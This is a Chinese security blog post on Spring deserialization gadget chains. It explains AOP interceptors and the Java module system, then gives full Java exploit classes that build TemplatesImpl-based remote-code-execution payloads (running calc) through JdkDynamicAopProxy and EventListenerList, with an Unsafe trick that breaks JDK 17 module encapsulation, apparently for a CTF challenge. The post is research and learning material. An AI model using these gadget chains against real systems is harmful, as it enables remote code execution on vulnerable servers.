Skip to content

JavaSec 15- Spring 系列链路

约 3791 字大约 13 分钟

Java

2025-08-22

前言

从之前国赛前岳神提示的 SpringAOP 链子到上个月的原生 Spring 利用,拆开几个模块学习一下,恰好这次去湾区杯线下遇到这个题,我又偷懒导致没在比赛之前学完这俩链子(

part 1 - AOP

AOP 在这两条链子中都至关重要,简单点讲也就是两部分,拦截器和调用方法

初见 AOP

AOP(面向切面编程,Aspect-Oriented Programming) 用来把一些“横切逻辑”抽取出来,避免到处写重复代码。

横切逻辑指的是 日志、权限控制、事务、缓存、监控 之类的,不属于业务核心,但又在很多地方需要。

在 Spring 里,AOP 底层是通过 动态代理(JDK Proxy 或 CGLIB) 实现的。

  • 切面(Aspect):横切逻辑的模块(类上用 @Aspect 标注)。
  • 连接点(Join Point):程序执行的某个点(方法调用、异常抛出等)。
  • 切点(Pointcut):筛选连接点的表达式(比如“所有 Service 层的方法”)。
  • 通知(Advice):在切点位置执行的逻辑(前置、后置、环绕等)。

依赖导入

spring-boot-starter-aop这个依赖就能包括spring-aopaspectJWeaver这两个所需依赖

<dependency>  
    <groupId>org.springframework.boot</groupId>  
    <artifactId>spring-boot-starter-aop</artifactId>  
</dependency>

在目标方法执行之前执行

@Aspect
@Component
public class LogAspect {

    @Before("execution(* com.example.service.*.*(..))")
    public void beforeMethod(JoinPoint joinPoint) {
        System.out.println("调用方法: " + joinPoint.getSignature().getName());
    }
}

AOP 动态代理与拦截器

上一次 AOP 在 Java 安全中比较广为人知的利用,是解决 AliyunCTF 2023 中只依赖于 Jackson 的原生反序列化利用链调用时获取类属性顺序的不稳定性的问题 ,在调用到 getOutputProperties 之前就报错导致无法正常使用

Caused by: java.lang.NullPointerException
    at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:483)
    at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689)
    at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774)
    ... 74 more

这里我们不多赘述 Jackson 的问题,只学习一下 AOP 是如何生效的

首先动态代理被代理的对象可以调用的方法取决于我们接口的设定,具体实现取决于 handler ,此时再使用反射 getDeclaredMethods 也会根据我们所设的接口来决定,就能确保稳定获取到我们想要的方法,于是我们要寻找一个 Spring 自带的代理——JdkDynamicAopProxy

看一下源码

advised可控

image-20250918173533991

重点是后面 invoke ,这个位置检查是否有配置拦截链,在 Jackson 那条走的是无拦截链的路线。

image-20250918174813269

看一下 chain 是如何获取的 ,这一步还是 AdvisedSupport,关于代理对象配置,后面写链子要通过把内容或者拦截器注册在这个里面

org.springframework.aop.framework.AdvisedSupport#getInterceptorsAndDynamicInterceptionAdvice

image-20250919114440282

进到 DefaultAdvisorChainFactory 看一下 getInterceptorsAndDynamicInterceptionAdvice

image-20250919122403853

拿到 Advisors,最后通过

MethodInterceptor[] interceptors = registry.getInterceptors(advisor);

获取到拦截器,MethodInterceptor这个接口就是用于拦截前往 target 的方法调用,往其声明的invoke方法添加拦截时要处理的逻辑

image-20250919123154329

若 advice 是MethodInterceptor类型,直接加入拦截器,构造 ReflectiveMethodInvocation,调用 proceed() 按链条执行。

image-20250918180352741

Advice 调用切面方法

在写切点之后,Spring AOP 在 AdvisedSupport 里会根据匹配结果,把 Advice 包装成拦截器。 比如:

  • MethodBeforeAdviceAdapterMethodBeforeAdviceInterceptor
  • AfterReturningAdviceAdapterAfterReturningAdviceInterceptor
  • AspectJAfterAdvice → 继承 AbstractAspectJAdvice

这样,每个切面方法对应一个拦截器,加入到调用链中。

image-20250919144123911

比如 AfterAdvice

public Object invoke(MethodInvocation mi) throws Throwable {
    try {
        return mi.proceed(); // 继续传递链路
    } finally {
        invokeAdviceMethod(getJoinPointMatch(), null, null);
    }
}

执行类是org.springframework.aop.aspectj.AbstractAspectJAdviceinvokeAdviceMethodWithGivenArgs 方法

invokeAdviceMethodinvokeAdviceMethodWithGivenArgs

protected Object invokeAdviceMethodWithGivenArgs(Object[] args) throws Throwable {  
    Object[] actualArgs = args;  
    if (this.aspectJAdviceMethod.getParameterCount() == 0) {  
       actualArgs = null;  
    }  
   ReflectionUtils.makeAccessible(this.aspectJAdviceMethod);  
   return this.aspectJAdviceMethod.invoke(this.aspectInstanceFactory.getAspectInstance(), actualArgs);  
}

image-20250919145043214

调用对象由this.aspectInstanceFactory.getAspectInstance()获取下图这些工厂类

image-20250919150638691

SingletonAspectInstanceFactory 单例工厂,直接返回对象 ,可以用于无参方法调用

part 2 - 模块化与强封装

从 Java 9 开始,JDK 引入了 JPMS(Java Platform Module System,模块系统),也就是著名的 Project Jigsaw ,从而去解决这些问题。

  • classpath 混乱:所有 jar 包都丢进 classpath,JVM 不知道哪个依赖用哪个版本,出现依赖冲突。
  • 可见性失控:只要类在 classpath 中,几乎所有类都能互相访问,缺乏强封装。
  • JDK 体积庞大:JDK 里的类库都在一个大 rt.jar 里,哪怕只用一小部分功能,也得带上整个 JDK。
  • 安全性不足:一些内部 API(比如 sun.misc.Unsafe)虽然不是公开接口,但仍能通过 classpath 被直接调用,带来维护和安全问题。

原有的 Java 标准库已经由一个单一巨大的rt.jar分拆成了几十个模块如下图

image-20250924101835485

常用关键词:

  1. [open] module <module>: 声明一个模块,模块名称应全局唯一,不可重复。加上 open 关键词表示模块内的所有包都允许通过 Java 反射访问,模块声明体内不再允许使用 opens 语句。

  2. requires <module>:技术部 人力资源部 (“我需要你”)【引入具体模块】

  3. requires transitive <module>谁依赖我,就会自动依赖我所依赖的那个模块。【引入具体模块并带有传递性】

  4. requires static <module>: 编译时必须存在该依赖, 运行时不存在该依赖也行。(lombok 是经典案例, requires 是运行时都必须存在, 如果不存在直接不让运行程序...)

  5. exports <package> [to <module1>, <module2>...]:人力资源部只开放招聘窗口 (“我只对外提供这个”)【导出具体的包到本模块中, to 语法表明只允许给哪个模块可忽略】

  6. uses <interface | abstract class> / provides <interface | abstract class> with <class1>[, <class2> ...]:技术部说需要日志服务 (“我需要个干日志的”),人力资源部说我能干 (“我就是干日志的”),然后公司(JVM)就把他们俩匹配上了。【为了支持 SPI 机制引入的关键词, 可以选择使用 /META-INF/services/接口名 进行定义, 或者使用 module-info.java 进行定义】

  7. opens <package> [to <module>[, <module2>...]]: 开放模块内的包(允许通过 Java 反射访问),一次开放一个包,如果需要开放多个包,需要多次声明。如果需要定向开放,可以使用 to 关键词,后面加上模块列表(逗号分隔)。

JDK 17 里,这一机制已经被完全强化,具体体现为:

  • 内部 API 封装:以前我们可以随意 import com.sun.* 或者 sun.* 的内部类,但在 JDK 17, 这些类已经被模块系统强封装,默认不可访问。
  • 强封装机制:模块之间的可见性由 module-info.java 描述,如果某个包没有被 exports ,外部模块就无法直接访问。
  • 反射限制:在 JDK 8 及之前,我们常常通过 setAccessible(true) 绕过 private 限制,反射 访问类的私有字段或构造函数。但在 JDK 17 里,即使你用 setAccessible(true) ,也会被 InaccessibleObjectException 拦住,除非你在 JVM 启动时手动加 -add-opens 参数开放 模块或者使用 Java Agent/Instrumentation 来打破封装。

模块化绕过

这就会导致我们的 getOutputProperties 无法直接利用,常见的模块化绕过一般通过 Unsafe 类去改 module

private static Method getMethod(Class clazz, String methodName, Class[]
            params) {
        Method method = null;
        while (clazz!=null){
            try {
                method = clazz.getDeclaredMethod(methodName,params);
                break;
            }catch (NoSuchMethodException e){
                clazz = clazz.getSuperclass();
            }
        }
        return method;
    }

    private static Unsafe getUnsafe() {
        Unsafe unsafe = null;
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        return unsafe;
    }
    public void bypassModule(ArrayList<Class> classes){
        try {
            Unsafe unsafe = getUnsafe();
            Class currentClass = this.getClass();
            try {
                Method getModuleMethod = getMethod(Class.class, "getModule", new
                        Class[0]);
                if (getModuleMethod != null) {
                    for (Class aClass : classes) {
                        Object targetModule = getModuleMethod.invoke(aClass, new
                                Object[]{});
                        unsafe.getAndSetObject(currentClass,
                                unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                    }
                }
            }catch (Exception e) {
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

然后在链子中,这个地方感觉只需要改这个主类就好了

ArrayList<Class> classes = new ArrayList<>();
classes.add(Method.class);
new SpringRCE().bypassModule(classes);

TemplatesImpl 绕过

另一个模块化引起的问题就是我们利用 TemplatesImpl 的时候,被利用的目标都需要继承 AbstractTranslet,会导致报错,但其实这个不是必须继承的

byte[] code1 = getTemplateCode();
byte[] code2 = ClassPool.getDefault().makeClass("aniale").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);

反序列化入口

在JDK17里 BadAttributeValueExpException 利用不了,没有触发 toString 的点,换成 EventListenerList#readObject,这个熟悉最近新的 toString 链的一定不陌生

image-20250925144519006

part 3 - 链路

AOP(低版本)

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.AspectJMethodBeforeAdvice;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.interceptor.ExposeInvocationInterceptor;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.*;


public class EXP {
    public static void main(String[] args) throws Exception {
        SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(makeTemplatesImpl("calc"));
        Method m = TemplatesImpl.class.getMethod("newTransformer");
        AspectJMethodBeforeAdvice advice = new AspectJMethodBeforeAdvice(m, new AspectJExpressionPointcut(), factory);

        Constructor<?> c = ExposeInvocationInterceptor.class.getDeclaredConstructors()[0];
        c.setAccessible(true);
        ExposeInvocationInterceptor interceptor = (ExposeInvocationInterceptor) c.newInstance();

        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.addAdvice(interceptor);
        advisedSupport.addAdvice(advice);

        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Serializable.class}, handler);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setFieldValue(val, "val", proxy);
        checkUnserialize(val);
    }

    public static Object makeTemplatesImpl(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", bytes);
        setFieldValue(templates, "_name", "test");
        return templates;
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception {
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
    private static Method getMethod(Class clazz, String methodName, Class[]
            params) {
        Method method = null;
        while (clazz!=null){
            try {
                method = clazz.getDeclaredMethod(methodName,params);
                break;
            }catch (NoSuchMethodException e){
                clazz = clazz.getSuperclass();
            }
        }
        return method;
    }
    public static void checkUnserialize(Object obj) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(obj);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

}

大致流程已经知道了,值得注意的点就是内部构造 ReflectiveMethodInvocation 时出现的问题,正常来讲,我们可以直接这么写

public static void main(String[] args) throws Exception {
    SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(makeTemplatesImpl("calc"));
    Method m = TemplatesImpl.class.getMethod("newTransformer");
    AspectJMethodBeforeAdvice advice = new AspectJMethodBeforeAdvice(m, new AspectJExpressionPointcut(), factory);
    AdvisedSupport advisedSupport = new AdvisedSupport();
    advisedSupport.addAdvice(advice);
    Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
    constructor.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
    Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Serializable.class}, handler);
    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    setFieldValue(val, "val", proxy);
    checkUnserialize(val);
}

但是这样会出现一个问题是找不到MethodInvocation,也就是在JdkDynamicAopProxy中实例化的ReflectiveMethodInvocation

但是报错信息里的ExposeInvocationInterceptor类恰好有构造一个 MethodInvocation ,然后再注册进去就好

public Object invoke(MethodInvocation mi) throws Throwable {
    MethodInvocation oldInvocation = invocation.get();
    invocation.set(mi);
    try {
        return mi.proceed();
    }
    finally {
        invocation.set(oldInvocation);
    }
}

高版本 Spring 原生

import javax.swing.event.EventListenerList;
import java.io.*;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;

//--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
//--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
public class SpringRCE {
    public static void main(String[] args) throws Exception{
        // 删除writeReplace保证正常反序列化
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        // 把模块强行修改,切换成和目标类一样的 Module 对象
        ArrayList<Class> classes = new ArrayList<>();
//        classes.add(TemplatesImpl.class);
//        classes.add(POJONode.class);
//        classes.add(EventListenerList.class);
//        classes.add(SpringRCE.class);
//        classes.add(Field.class);
        classes.add(Method.class);
        new SpringRCE().bypassModule(classes);

        // ===== EXP 构造 =====
        byte[] code1 = getTemplateCode();
        byte[] code2 = ClassPool.getDefault().makeClass("fushuling").toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
        setFieldValue(templates,"_transletIndex",0);

        POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));

        EventListenerList eventListenerList = getEventListenerList(node);

        serialize(eventListenerList, true);
    }

    public static byte[] serialize(Object obj, boolean flag) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        if (flag) System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
        return baos.toByteArray();
    }

    public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }

    public static byte[] getTemplateCode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        String block = "Runtime.getRuntime().exec(\"calc.exe\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }

    public static EventListenerList getEventListenerList(Object obj) throws Exception{
        EventListenerList list = new EventListenerList();
        UndoManager undomanager = new UndoManager();

        //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
        Vector vector = (Vector) getFieldValue(undomanager, "edits");
        vector.add(obj);

        setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
        return list;
    }

    private static Method getMethod(Class clazz, String methodName, Class[]
            params) {
        Method method = null;
        while (clazz!=null){
            try {
                method = clazz.getDeclaredMethod(methodName,params);
                break;
            }catch (NoSuchMethodException e){
                clazz = clazz.getSuperclass();
            }
        }
        return method;
    }

    private static Unsafe getUnsafe() {
        Unsafe unsafe = null;
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        return unsafe;
    }
    public void bypassModule(ArrayList<Class> classes){
        try {
            Unsafe unsafe = getUnsafe();
            Class currentClass = this.getClass();
            try {
                Method getModuleMethod = getMethod(Class.class, "getModule", new
                        Class[0]);
                if (getModuleMethod != null) {
                    for (Class aClass : classes) {
                        Object targetModule = getModuleMethod.invoke(aClass, new
                                Object[]{});
                        unsafe.getAndSetObject(currentClass,
                                unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                    }
                }
            }catch (Exception e) {
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = null;
        Class c = obj.getClass();
        for (int i = 0; i < 5; i++) {
            try {
                field = c.getDeclaredField(fieldName);
            } catch (NoSuchFieldException e) {
                c = c.getSuperclass();
            }
        }
        field.setAccessible(true);
        return field.get(obj);
    }

    public static void setFieldValue(Object obj, String field, Object val) throws Exception {
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}

这个生成需要额外的 VM 参数 ,不要加到程序实参,验证时不要带这个参数

--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED

image-20250925142730255

AOP(高版本)

有了第二条链子的基础,我们把低版本的稍加改动得到这个

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.interceptor.ExposeInvocationInterceptor;
import sun.misc.Unsafe;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.Base64;
import java.util.Vector;

public class Test1 {
    public static void main(String[] args) throws Exception {

        ArrayList<Class> classes = new ArrayList<>();
        classes.add(Method.class);
        new Test1().bypassModule(classes);

        byte[] code1 = getTemplateCode();
        byte[] code2 = ClassPool.getDefault().makeClass("aniale").toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
        setFieldValue(templates, "_transletIndex", 0);
        SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(templates);
        Method m = Templates.class.getMethod("newTransformer");
        AspectJExpressionPointcut pointcut = new AspectJExpressionPointcut();
        AspectJAroundAdvice advice = new AspectJAroundAdvice(m, pointcut, factory);
        Constructor<?> c = ExposeInvocationInterceptor.class.getDeclaredConstructors()[0];
        c.setAccessible(true);
        ExposeInvocationInterceptor interceptor = (ExposeInvocationInterceptor) c.newInstance();

        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.addAdvice(interceptor);
        advisedSupport.addAdvice(advice);

        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Serializable.class}, handler);
        EventListenerList eventListenerList = getEventListenerList(proxy);
        printBase64SerializedString(eventListenerList);
    }

    public static byte[] getTemplateCode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        String block = "Runtime.getRuntime().exec(\"calc.exe\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }
    public static EventListenerList getEventListenerList(Object obj) throws Exception{
        EventListenerList list = new EventListenerList();
        UndoManager undomanager = new UndoManager();

        //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
        Vector vector = (Vector) getFieldValue(undomanager, "edits");
        vector.add(obj);

        setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
        return list;
    }
    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = null;
        Class c = obj.getClass();
        for (int i = 0; i < 5; i++) {
            try {
                field = c.getDeclaredField(fieldName);
            } catch (NoSuchFieldException e) {
                c = c.getSuperclass();
            }
        }
        field.setAccessible(true);
        return field.get(obj);
    }
    public static void printBase64SerializedString(Object obj) {
        try {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(obj);
            oos.close();
            byte[] serializedBytes = baos.toByteArray();
            String base64 = Base64.getEncoder().encodeToString(serializedBytes);
            System.out.println(base64);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void setFieldValue(Object obj, String field, Object val) throws Exception {
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
    private static Unsafe getUnsafe() {
        Unsafe unsafe = null;
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        return unsafe;
    }
    private static Method getMethod(Class clazz, String methodName, Class[] params) {
        Method method = null;
        while (clazz!=null){
            try {
                method = clazz.getDeclaredMethod(methodName,params);
                break;
            }catch (NoSuchMethodException e){
                clazz = clazz.getSuperclass();
            }
        }
        return method;
    }
    public void bypassModule(ArrayList<Class> classes){
        try {
            Unsafe unsafe = getUnsafe();
            Class currentClass = this.getClass();
            try {
                Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
                if (getModuleMethod != null) {
                    for (Class aClass : classes) {
                        Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
                        unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                    }
                }
            }catch (Exception e) {
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

生成好的直接拿去打湾区杯的 ezjava 即可,只不过需要逆一下加密算法

后记

很久没发博客了,还有不少不完善的点不过先这样吧

References

SpringAop新链实现任意无参方法调用

高版本JDK下的Spring原生反序列化链

从JSON1链中学习处理JACKSON链的不稳定性

SpringAOP链学习

廖雪峰-模块

JDK 9 的 模块化 & jmod & 反射 & ClassLoader & JShell

去除-abstracttranslet-限制